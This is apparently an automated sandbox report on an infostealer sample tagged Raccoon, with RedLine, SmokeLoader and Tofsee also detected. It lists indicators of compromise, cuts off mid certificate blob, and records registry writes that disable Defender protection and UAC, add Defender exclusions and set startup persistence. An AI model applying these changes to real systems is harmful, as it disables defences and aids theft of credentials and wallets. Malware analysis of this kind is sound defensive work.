raccoon | b6a1ce3e1d1dfa3057e7473c9219ba29218014de81c922ad38e96800c1f388e7

Processes:

sc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\chromedrlver.exe,"	sc.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
behavioral4/memory/2024-173-0x000000001B280000-0x000000001B29B000-memory.dmp	family_redline
behavioral4/memory/2488-185-0x00000000023D0000-0x00000000023EC000-memory.dmp	family_redline
behavioral4/memory/2488-188-0x0000000002510000-0x000000000252B000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepowershell.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 3036 created 1264	3036	WerFault.exe	3668.exe
PID 4432 created 2100	4432	WerFault.exe	5443.exe
PID 916 created 420	916	WerFault.exe	86BF.exe
PID 1072 created 4844	1072	WerFault.exe	942D.exe
PID 3344 created 3016	3344	WerFault.exe	AB41.exe
PID 1428 created 4916	1428	WerFault.exe	D8C.exe
PID 1648 created 4916	1648	WerFault.exe	D8C.exe
PID 3256 created 5632	3256	powershell.exe	5081.exe
PID 6316 created 5632	6316	WerFault.exe	5081.exe
PID 1936 created 6228	1936	WerFault.exe	7B3C.exe
PID 5400 created 4408	5400	WerFault.exe	test1.exe
PID 6292 created 4032	6292	WerFault.exe	E197.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3676 created 3368	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 3368	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 1708	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 1708	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5532	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5532	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5564	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5564	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5588	3676	svchost.exe	Conhost.exe
PID 3676 created 5588	3676	svchost.exe	Conhost.exe
PID 3676 created 5628	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 5628	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 6992	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 6992	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 6156	3676	svchost.exe	AdvancedRun.exe
PID 3676 created 6156	3676	svchost.exe	AdvancedRun.exe

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disabling Security Tools
T1089

Modify Registry
T1112
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata

Nirsoft 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\cfd2c909-98c0-493c-bc5a-8fe1a101cd42\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\6b26555d-8952-4155-b481-9b91a98f9eed\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\8ec9aa74-5ae5-4178-afe3-73f048b40edc\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\40a594fa-b69f-49c3-a305-3c8fb723176d\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\0fb43cf6-8166-4a3f-bf81-3a75fe3aaa37\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\acd2f948-9567-44da-ae8f-fd7428fc8cdd\AdvancedRun.exe	Nirsoft

Downloads MZ/PE file

Executes dropped EXE 43 IoCs

Processes:

27B2.exe27B2.exe3668.exe48B9.exe5443.exe6859.exe6859.exe86BF.exe942D.exeAB41.exeB44A.exeC91B.exeD234.exeE197.exeEED6.exeFEA6.exeAdvancedRun.exeAdvancedRun.exeD8C.exe123.exescriptwriters.exeOlecranonsCasein.exeAdvancedRun.exeAdvancedRun.exeConhost.exeAdvancedRun.exeOlecranonsCasein.exe5081.exedeforcing.exe7B3C.exeAdvancedRun.exeAdvancedRun.exeE2E0.execlean.exetest1.exeb1.exechromedrlver.exeInstallUtil.exeD234.exeD234.exeB44A.exeB44A.exeE197.exe

pid	process
3916	27B2.exe
3180	27B2.exe
1264	3668.exe
2024	48B9.exe
2100	5443.exe
2804	6859.exe
2488	6859.exe
420	86BF.exe
4844	942D.exe
3016	AB41.exe
3304	B44A.exe
2192	C91B.exe
940	D234.exe
1996	E197.exe
2156	EED6.exe
4016	FEA6.exe
1708	AdvancedRun.exe
3368	AdvancedRun.exe
4916	D8C.exe
3780	123.exe
2468	scriptwriters.exe
2996	OlecranonsCasein.exe
5532	AdvancedRun.exe
5564	AdvancedRun.exe
5588	Conhost.exe
5628	AdvancedRun.exe
5328	OlecranonsCasein.exe
5632	5081.exe
6256	deforcing.exe
6228	7B3C.exe
6992	AdvancedRun.exe
6156	AdvancedRun.exe
2136	E2E0.exe
480	clean.exe
4408	test1.exe
4348	b1.exe
7420	chromedrlver.exe
1620	InstallUtil.exe
2992	D234.exe
1872	D234.exe
5176	B44A.exe
5600	B44A.exe
4032	E197.exe

Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 4 IoCs

Processes:

FEA6.exe123.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe	FEA6.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe	123.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe	123.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe	FEA6.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 15 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

FEA6.exe123.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	FEA6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	FEA6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Cursors\veejays\svchost.exe = "0"	FEA6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\FEA6.exe = "0"	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe = "0"	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\123.exe = "0"	123.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Resources\Themes\appertaining\svchost.exe = "0"	123.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\deforcing.exe = "0"	123.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	FEA6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	FEA6.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

FEA6.exescriptwriters.exe123.exedeforcing.exeb1.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe"	FEA6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe"	scriptwriters.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\deforcing = "C:\\Windows\\Resources\\Themes\\appertaining\\svchost.exe"	123.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\deforcing = "C:\\Windows\\Resources\\Themes\\appertaining\\svchost.exe"	deforcing.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\AppServices = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\AppServices.exe"	b1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 8 IoCs

evasion trojan

System Information Discovery

Processes:

scriptwriters.exe123.exedeforcing.exeFEA6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	scriptwriters.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	123.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	123.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	deforcing.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	deforcing.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	FEA6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	FEA6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	scriptwriters.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 12 IoCs

Processes:

040d9a95f9e954e29ceb2469fcf3a9e9.exe27B2.exe6859.exeFEA6.exeOlecranonsCasein.exescriptwriters.exe123.exedeforcing.exechromedrlver.exeD234.exeB44A.exeE197.exe

description	pid	process	target process
PID 1148 set thread context of 2460	1148	040d9a95f9e954e29ceb2469fcf3a9e9.exe	040d9a95f9e954e29ceb2469fcf3a9e9.exe
PID 3916 set thread context of 3180	3916	27B2.exe	27B2.exe
PID 2804 set thread context of 2488	2804	6859.exe	6859.exe
PID 4016 set thread context of 5744	4016	FEA6.exe	AddInProcess32.exe
PID 2996 set thread context of 5328	2996	OlecranonsCasein.exe	OlecranonsCasein.exe
PID 2468 set thread context of 6440	2468	scriptwriters.exe	RegSvcs.exe
PID 3780 set thread context of 6188	3780	123.exe	aspnet_regsql.exe
PID 6256 set thread context of 4152	6256	deforcing.exe	aspnet_regsql.exe
PID 7420 set thread context of 1620	7420	chromedrlver.exe	InstallUtil.exe
PID 940 set thread context of 1872	940	D234.exe	D234.exe
PID 3304 set thread context of 5600	3304	B44A.exe	B44A.exe
PID 1996 set thread context of 4032	1996	E197.exe	E197.exe

Drops file in Windows directory 2 IoCs

Processes:

FEA6.exe123.exe

description	ioc	process
File created	C:\Windows\Cursors\veejays\svchost.exe	FEA6.exe
File created	C:\Windows\Resources\Themes\appertaining\svchost.exe	123.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1860	1264	WerFault.exe	3668.exe
2700	2100	WerFault.exe	5443.exe
1932	420	WerFault.exe	86BF.exe
2228	4844	WerFault.exe	942D.exe
3264	3016	WerFault.exe	AB41.exe
1308	4916	WerFault.exe	D8C.exe
420	4916	WerFault.exe	D8C.exe
5204	5632	WerFault.exe	5081.exe
6692	5632	WerFault.exe	5081.exe
1196	6228	WerFault.exe	7B3C.exe
868	4408	WerFault.exe	test1.exe
5844	4032	WerFault.exe	E197.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

040d9a95f9e954e29ceb2469fcf3a9e9.exe27B2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	040d9a95f9e954e29ceb2469fcf3a9e9.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	040d9a95f9e954e29ceb2469fcf3a9e9.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	040d9a95f9e954e29ceb2469fcf3a9e9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	27B2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	27B2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	27B2.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepowershell.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	powershell.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	powershell.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe

Enumerates system info in registry 2 TTPs 24 IoCs

Query Registry

System Information Discovery

Processes:

powershell.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	powershell.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Gathers network information 2 TTPs 4 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exeipconfig.exeipconfig.exeipconfig.exe

pid process

4036 ipconfig.exe
3344 ipconfig.exe
1084 ipconfig.exe
6800 ipconfig.exe

pid	process
4036	ipconfig.exe
3344	ipconfig.exe
1084	ipconfig.exe
6800	ipconfig.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

E197.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	E197.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000062000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c60b000000010000001a0000004900530052004700200052006f006f0074002000580031000000090000000100000016000000301406082b0601050507030206082b0601050507030114000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e1d000000010000001000000073b6876195f5d18e048510422aef04e3030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e820000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bc